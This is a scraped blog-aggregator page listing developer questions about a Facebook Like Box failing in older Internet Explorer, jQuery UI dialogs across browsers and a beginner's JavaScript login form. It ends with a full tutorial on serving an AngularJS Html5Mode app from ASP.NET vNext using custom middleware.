    Now My final Application.html file contains are < !DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd" < html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" < head < meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" / < /head < body < script type="text/javascript" language="javascript" src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php" < /script < script type="text/javascript" FB_RequireFeatures(["Connect"], function(){ var x=1; } ); < /script < script src="http://static.ak.connect.facebook.com/connect.php/en_US" type="text/javascript" < /script < /body < /html My Java code for LIke Box is as follows FBPageFanWidget.java class FBPageFanWidget extends Composite { public FBPageFanWidget() { VerticalPanel mainPanel = new VerticalPanel(); mainPanel .getElement() .setInnerHTML( "< script type='text/javascript' src='http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/en_US'< /script< script type='text/javascript'FB.init('');< /script< fb:fan profile_id=\"113106068709539\" stream=\"0\" connections=\"10\" logobar=\"0\" width=\"244\" height=\"240\" css='http://127.0.01:8080/webapplicationname/facebook.css?1'< /fb:fan"); initWidget(mainPanel); } } We used proper facebook API_KEY & PAGE_ID It's very important for us to Show Facebook like Box in Our web application Because we have more IE users. If we add FBPageFanWidget.java in our web applicaton then Our Home page is not display in IE because we add Facebook LikeBox so we made changes in Our FBPageFanWidget.java class FBPageFanWidget extends Composite { public FBPageFanWidget() { VerticalPanel mainPanel = new VerticalPanel(); if (!isIE()) { mainPanel.getElement() .setInnerHTML("<script type='text/javascript' src='http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/en_US'></script><script type='text/javascript'>FB.init('');</script><fb:fan profile_id=\"113106068709539\" stream=\"0\" connections=\"10\" logobar=\"0\" width=\"244\" height=\"240\" css='http://127.0.01:8080/webapplicationname/facebook.css?1'></fb:fan>"); } initWidget(mainPanel); } public native String getUserAgent() /-{ return navigator.userAgent; }-/; private boolean isIE() { return (getUserAgent().indexOf("MSIE") > -1); } } when we did this changes Then Facebook Like Box display in every browser excluding IE6 - IE8 :( and also display Our Home page in IE8 excludeing Facebook Like Box. It means There is probelm in IE ? or what changes i need to do in my html file or java file to show facebook like Box properly with displaying our home page It's very important for us to Show Facebook like Box in Our web application Because we have more IE users. Please Reply ASAP. Hope-for Best Co-operation from your side !!!!

    Read the article

  • Is JQuery UI meant to work only with Google Chrome??? (How about IE and Firefox??!)

    - by Richard77
    Hello, I'm using "Jquery UI 1./Dan Wellman/Packt Publishing" to learn JQuery UI. I'm working on the 'Dialog widget' chapiter. After I've completed a series of exercises in order to build a Dialog widget (using Google Chrome), I then tried my work with Internet Explorer and Firefox. The result has been disappointing. Chrome was perfet With Internet Explorer, (1) the title of the Dialog widget did not appear, (2) The location of the dialog widget was not correct (given the position: ["center", "center"]). It was rather offset toward left. With Firefox, the location was respected. However, only the outer container was visible. the content was missing, just a blank container. Also using Option Show:true and Hide:true did only work with Chrome. I wonder now if JQuery UI was meant to be used only with Google Chrome. I just think that I might be missing some directives to make it work with major browsers (as the author claimed in his book). Here's the code. Since, I'm using ASP.NET MVC, certain codes, such as the element to the css, do not appear. But, for the rest, all the functioning code is bellow. <asp:Content ID="Content2" ContentPlaceHolderID="MainContent" runat="server"> <p> The goal of this tutorial is to explain one method of creating model classes for an ASP.NET MVC application. In this tutorial, you learn how to build model classes and perform database access by taking advantage of Microsoft LINQ to SQL. In this tutorial, we build a basic Movie database application. We start by creating the Movie database application in the fastest and easiest way possible. We perform all of our data access directly from our controller actions. </p> <div style = "font-size:.7em" id = "myDialog" title = "This is the title"> In this tutorial -- in order to illustrate how you can build model classes -- we build a simple Movie database application. The first step is to create a new database. Right-click the App_Data folder in the Solution Explorer window and select the menu option Add, New Item. Select the SQL Server Database template, give it the name MoviesDB.mdf, and click the Add button (see Figure 1). </div> </asp:Content> <asp:Content ID="Content3" ContentPlaceHolderID="ScriptContent" runat="server"> <script src="../../Content/development-bundle/jquery-1.3.2.js" type="text/javascript"></script> <script src="../../Content/development-bundle/ui/ui.core.js" type="text/javascript"></script> <script src="../../Content/development-bundle/ui/ui.dialog.js" type="text/javascript"></script> <script src="../../Content/development-bundle/ui/ui.draggable.js" type="text/javascript"></script> <script src="../../Content/development-bundle/ui/ui.resizable.js" type="text/javascript"></script> <script src="../../Content/development-bundle/external/bgiframe/jquery.bgiframe.js" type="text/javascript"></script> <script type = "text/javascript"> $(function() { var execute = function() { } var cancel = function() { } var dialogOpts = { position: ["center", "center"], title: '<a href="/Home/About">A link title!<a>', modal: true, minWidth: 500, minHeight: 500, buttons: { "OK": execute, "Cancel": cancel }, show:true, hide: true, bgiframe:true }; $("#myDialog").dialog(dialogOpts); }); </script> Thank for helping.

    Read the article

  • IE / Facebook Issue : Why Facebook Like box not display in Internet Explorer 6 - IE8 ?

    - by Vaibhav Bhalke
    IE / Facebook Issue : Why Facebook Like box not display in Internet Explorer6 - IE8 ? Facebook like box display throgh my web application on every browser excluding IE-IE8 Now final Application.html file contains are < !DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd"><BR> < html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml"> <BR>< head> < meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> < /head><BR> < body> < script type="text/javascript" language="javascript" src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php"> < /script> <BR> < script type="text/javascript"> FB_RequireFeatures(["Connect"], function(){ var x=1; } ); < /script> <BR> < script src="http://static.ak.connect.facebook.com/connect.php/en_US" type="text/javascript"> < /script> < /body> < /html> My Java code for LIke Box is as follows FBPageFanWidget.java class FBPageFanWidget extends Composite { public FBPageFanWidget() { VerticalPanel mainPanel = new VerticalPanel(); mainPanel .getElement() .setInnerHTML( "< script type='text/javascript' src='http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/en_US'>< /script>< script type='text/javascript'>FB.init('');< /script>< fb:fan profile_id=\"113106068709539\" stream=\"0\" connections=\"10\" logobar=\"0\" width=\"244\" height=\"240\" css='http://127.0.01:8080/webapplicationname/facebook.css?1'>< /fb:fan>"); initWidget(mainPanel); } } We used proper facebook API_KEY & PAGE_ID It's very important for us to Show Facebook like Box in Our web application Because we have more IE users. If we add FBPageFanWidget.java in our web applicaton then Our Home page is not display in IE because we add Facebook LikeBox so we made changes in Our FBPageFanWidget.java class FBPageFanWidget extends Composite { public FBPageFanWidget() { VerticalPanel mainPanel = new VerticalPanel(); if (!isIE()) { mainPanel.getElement() .setInnerHTML("<script type='text/javascript' src='http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/en_US'></script><script type='text/javascript'>FB.init('');</script><fb:fan profile_id=\"113106068709539\" stream=\"0\" connections=\"10\" logobar=\"0\" width=\"244\" height=\"240\" css='http://127.0.01:8080/webapplicationname/facebook.css?1'></fb:fan>"); } initWidget(mainPanel); } public native String getUserAgent() /*-{ return navigator.userAgent; }-*/; private boolean isIE() { return (getUserAgent().indexOf("MSIE") > -1); } } when we did this changes Then Facebook Like Box display in every browser excluding IE6 - IE8 :( and also display Our Home page in IE8 excludeing Facebook Like Box. It means There is probelm in IE ? or what changes i need to do in my html file or java file to show facebook like Box properly with displaying our home page It's very important for us to Show Facebook like Box in Our web application Because we have more IE users. Please Reply ASAP. Hope-for Best Co-operation from your side !!!!

    Read the article

  • Making a login Using JavaScript, Will Incorporate PHP Later

    - by TIMOTHY
    not sure why my code wont work, im teaching myself javascript i know php moderatly and i also know the intelligence of using java to hold a password and username, but at the moment i just want the script to work. <html> <head> <title>34webs</title> <link rel="stylesheet" href="css/lightbox.css" type="text/css" media="screen" /> <link rel="stylesheet" type="text/css" media="screen" href="main.css"> <script type="text/javascript" src="js/prototype.js"></script> <script type="text/javascript" src="js/scriptaculous.js?load=effects,builder"></script> <script type="text/javascript" src="js/lightbox.js"></script> <script type="javascript" > function logintry (){ var usern = document.logn.username.value; var passw = document.logn.password.value; if(usern == blue && passw == bluee){ alert('password is correct!'); }else{ alert('password is wrong'); } } </script> </head> <body> <div id="bod"> <div id="nav"> <p id="buttonhead">34 web</p> <a href="#" class="button">HOME</a> <a href="#" class="button">NEWS</a> <a href="#" class="button">DOWNLOADS</a> <a href="#" class="button">ERA</a> <a href="#" class="button">IE BROWSER</a> <a href="#" class="button">DRIVERS</a> <form name="logn"> <table style="margin:0 auto; background:#0174DF; color:white;"> <tr> <td> Username<br> <input type="text" name="username" value=""> </td> </tr> <tr> <td> Password<br> <input type="password" name="password" value=""> </td> </tr> <tr> <td style="text-align:center;"> <input type="button" name="Submit" value="submit" onclick= javascript: logintry()> </td> </tr> </table> </form> </div>

    Read the article

  • Host AngularJS (Html5Mode) in ASP.NET vNext

    - by Shaun
    Originally posted on: http://geekswithblogs.net/shaunxu/archive/2014/06/10/host-angularjs-html5mode-in-asp.net-vnext.aspxMicrosoft had announced ASP.NET vNext in BUILD and TechED recently and as a developer, I found that we can add features into one ASP.NET vNext application such as MVC, WebAPI, SignalR, etc.. Also it's cross platform which means I can host ASP.NET on Windows, Linux and OS X.   If you are following my blog you should knew that I'm currently working on a project which uses ASP.NET WebAPI, SignalR and AngularJS. Currently the AngularJS part is hosted by Express in Node.js while WebAPI and SignalR are hosted in ASP.NET. I was looking for a solution to host all of them in one platform so that my SignalR can utilize WebSocket. Currently AngularJS and SignalR are hosted in the same domain but different port so it has to use ServerSendEvent. It can be upgraded to WebSocket if I host both of them in the same port.   Host AngularJS in ASP.NET vNext Static File Middleware ASP.NET vNext utilizes middleware pattern to register feature it uses, which is very similar as Express in Node.js. Since AngularJS is a pure client side framework in theory what I need to do is to use ASP.NET vNext as a static file server. This is very easy as there's a build-in middleware shipped alone with ASP.NET vNext. Assuming I have "index.html" as below. 1: <html data-ng-app="demo"> 2: <head> 3: <script type="text/javascript" src="angular.js" /> 4: <script type="text/javascript" src="angular-ui-router.js" /> 5: <script type="text/javascript" src="app.js" /> 6: </head> 7: <body> 8: <h1>ASP.NET vNext with AngularJS</h1> 9: <div> 10: <a href="javascript:void(0)" data-ui-sref="view1">View 1</a> | 11: <a href="javascript:void(0)" data-ui-sref="view2">View 2</a> 12: </div> 13: <div data-ui-view></div> 14: </body> 15: </html> And the AngularJS JavaScript file as below. Notices that I have two views which only contains one line literal indicates the view name. 1: 'use strict'; 2:  3: var app = angular.module('demo', ['ui.router']); 4:  5: app.config(['$stateProvider', '$locationProvider', function ($stateProvider, $locationProvider) { 6: $stateProvider.state('view1', { 7: url: '/view1', 8: templateUrl: 'view1.html', 9: controller: 'View1Ctrl' }); 10:  11: $stateProvider.state('view2', { 12: url: '/view2', 13: templateUrl: 'view2.html', 14: controller: 'View2Ctrl' }); 15: }]); 16:  17: app.controller('View1Ctrl', function ($scope) { 18: }); 19:  20: app.controller('View2Ctrl', function ($scope) { 21: }); All AngularJS files are located in "app" folder and my ASP.NET vNext files are besides it. The "project.json" contains all dependencies I need to host static file server. 1: { 2: "dependencies": { 3: "Helios" : "0.1-alpha-*", 4: "Microsoft.AspNet.FileSystems": "0.1-alpha-*", 5: "Microsoft.AspNet.Http": "0.1-alpha-*", 6: "Microsoft.AspNet.StaticFiles": "0.1-alpha-*", 7: "Microsoft.AspNet.Hosting": "0.1-alpha-*", 8: "Microsoft.AspNet.Server.WebListener": "0.1-alpha-*" 9: }, 10: "commands": { 11: "web": "Microsoft.AspNet.Hosting server=Microsoft.AspNet.Server.WebListener server.urls=http://localhost:22222" 12: }, 13: "configurations" : { 14: "net45" : { 15: }, 16: "k10" : { 17: "System.Diagnostics.Contracts": "4.0.0.0", 18: "System.Security.Claims" : "0.1-alpha-*" 19: } 20: } 21: } Below is "Startup.cs" which is the entry file of my ASP.NET vNext. What I need to do is to let my application use FileServerMiddleware. 1: using System; 2: using Microsoft.AspNet.Builder; 3: using Microsoft.AspNet.FileSystems; 4: using Microsoft.AspNet.StaticFiles; 5:  6: namespace Shaun.AspNet.Plugins.AngularServer.Demo 7: { 8: public class Startup 9: { 10: public void Configure(IBuilder app) 11: { 12: app.UseFileServer(new FileServerOptions() { 13: EnableDirectoryBrowsing = true, 14: FileSystem = new PhysicalFileSystem(System.IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "app")) 15: }); 16: } 17: } 18: } Next, I need to create "NuGet.Config" file in the PARENT folder so that when I run "kpm restore" command later it can find ASP.NET vNext NuGet package successfully. 1: <?xml version="1.0" encoding="utf-8"?> 2: <configuration> 3: <packageSources> 4: <add key="AspNetVNext" value="https://www.myget.org/F/aspnetvnext/api/v2" /> 5: <add key="NuGet.org" value="https://nuget.org/api/v2/" /> 6: </packageSources> 7: <packageSourceCredentials> 8: <AspNetVNext> 9: <add key="Username" value="aspnetreadonly" /> 10: <add key="ClearTextPassword" value="4d8a2d9c-7b80-4162-9978-47e918c9658c" /> 11: </AspNetVNext> 12: </packageSourceCredentials> 13: </configuration> Now I need to run "kpm restore" to resolve all dependencies of my application. Finally, use "k web" to start the application which will be a static file server on "app" sub folder in the local 22222 port.   Support AngularJS Html5Mode AngularJS works well in previous demo. But you will note that there is a "#" in the browser address. This is because by default AngularJS adds "#" next to its entry page so ensure all request will be handled by this entry page. For example, in this case my entry page is "index.html", so when I clicked "View 1" in the page the address will be changed to "/#/view1" which means it still tell the web server I'm still looking for "index.html". This works, but makes the address looks ugly. Hence AngularJS introduces a feature called Html5Mode, which will get rid off the annoying "#" from the address bar. Below is the "app.js" with Html5Mode enabled, just one line of code. 1: 'use strict'; 2:  3: var app = angular.module('demo', ['ui.router']); 4:  5: app.config(['$stateProvider', '$locationProvider', function ($stateProvider, $locationProvider) { 6: $stateProvider.state('view1', { 7: url: '/view1', 8: templateUrl: 'view1.html', 9: controller: 'View1Ctrl' }); 10:  11: $stateProvider.state('view2', { 12: url: '/view2', 13: templateUrl: 'view2.html', 14: controller: 'View2Ctrl' }); 15:  16: // enable html5mode 17: $locationProvider.html5Mode(true); 18: }]); 19:  20: app.controller('View1Ctrl', function ($scope) { 21: }); 22:  23: app.controller('View2Ctrl', function ($scope) { 24: }); Then let's went to the root path of our website and click "View 1" you will see there's no "#" in the address. But the problem is, if we hit F5 the browser will be turn to blank. This is because in this mode the browser told the web server I want static file named "view1" but there's no file on the server. So underlying our web server, which is built by ASP.NET vNext, responded 404. To fix this problem we need to create our own ASP.NET vNext middleware. What it needs to do is firstly try to respond the static file request with the default StaticFileMiddleware. If the response status code was 404 then change the request path value to the entry page and try again. 1: public class AngularServerMiddleware 2: { 3: private readonly AngularServerOptions _options; 4: private readonly RequestDelegate _next; 5: private readonly StaticFileMiddleware _innerMiddleware; 6:  7: public AngularServerMiddleware(RequestDelegate next, AngularServerOptions options) 8: { 9: _next = next; 10: _options = options; 11:  12: _innerMiddleware = new StaticFileMiddleware(next, options.FileServerOptions.StaticFileOptions); 13: } 14:  15: public async Task Invoke(HttpContext context) 16: { 17: // try to resolve the request with default static file middleware 18: await _innerMiddleware.Invoke(context); 19: Console.WriteLine(context.Request.Path + ": " + context.Response.StatusCode); 20: // route to root path if the status code is 404 21: // and need support angular html5mode 22: if (context.Response.StatusCode == 404 && _options.Html5Mode) 23: { 24: context.Request.Path = _options.EntryPath; 25: await _innerMiddleware.Invoke(context); 26: Console.WriteLine(">> " + context.Request.Path + ": " + context.Response.StatusCode); 27: } 28: } 29: } We need an option class where user can specify the host root path and the entry page path. 1: public class AngularServerOptions 2: { 3: public FileServerOptions FileServerOptions { get; set; } 4:  5: public PathString EntryPath { get; set; } 6:  7: public bool Html5Mode 8: { 9: get 10: { 11: return EntryPath.HasValue; 12: } 13: } 14:  15: public AngularServerOptions() 16: { 17: FileServerOptions = new FileServerOptions(); 18: EntryPath = PathString.Empty; 19: } 20: } We also need an extension method so that user can append this feature in "Startup.cs" easily. 1: public static class AngularServerExtension 2: { 3: public static IBuilder UseAngularServer(this IBuilder builder, string rootPath, string entryPath) 4: { 5: var options = new AngularServerOptions() 6: { 7: FileServerOptions = new FileServerOptions() 8: { 9: EnableDirectoryBrowsing = false, 10: FileSystem = new PhysicalFileSystem(System.IO.Path.Combine(AppDomain.CurrentDomain.BaseDirectory, rootPath)) 11: }, 12: EntryPath = new PathString(entryPath) 13: }; 14:  15: builder.UseDefaultFiles(options.FileServerOptions.DefaultFilesOptions); 16:  17: return builder.Use(next => new AngularServerMiddleware(next, options).Invoke); 18: } 19: } Now with these classes ready we will change our "Startup.cs", use this middleware replace the default one, tell the server try to load "index.html" file if it cannot find resource. The code below is just for demo purpose. I just tried to load "index.html" in all cases once the StaticFileMiddleware returned 404. In fact we need to validation to make sure this is an AngularJS route request instead of a normal static file request. 1: using System; 2: using Microsoft.AspNet.Builder; 3: using Microsoft.AspNet.FileSystems; 4: using Microsoft.AspNet.StaticFiles; 5: using Shaun.AspNet.Plugins.AngularServer; 6:  7: namespace Shaun.AspNet.Plugins.AngularServer.Demo 8: { 9: public class Startup 10: { 11: public void Configure(IBuilder app) 12: { 13: app.UseAngularServer("app", "/index.html"); 14: } 15: } 16: } Now let's run "k web" again and try to refresh our browser and we can see the page loaded successfully. In the console window we can find the original request got 404 and we try to find "index.html" and return the correct result.   Summary In this post I introduced how to use ASP.NET vNext to host AngularJS application as a static file server. I also demonstrated how to extend ASP.NET vNext, so that it supports AngularJS Html5Mode. You can download the source code here.   Hope this helps, Shaun All documents and related graphics, codes are provided "AS IS" without warranty of any kind. Copyright © Shaun Ziyan Xu. This work is licensed under the Creative Commons License.

    Read the article

< Previous Page | 84 85 86 87 88 89 90 91 92 93 94 95  | Next Page >